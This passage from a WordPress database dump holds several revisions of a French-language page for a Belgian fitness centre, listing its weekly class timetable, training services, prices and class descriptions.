5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:26:59', '2013-07-03 16:26:59', '', 11, 'http://www.crosstrainingcenter.be/?p=163', 0, 'revision', '', 0),
(164, 1, '2013-07-03 16:27:40', '2013-07-03 16:27:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:27:40', '2013-07-03 16:27:40', '', 11, 'http://www.crosstrainingcenter.be/?p=164', 0, 'revision', '', 0);
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(167, 1, '2013-07-03 16:30:33', '2013-07-03 16:30:33', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 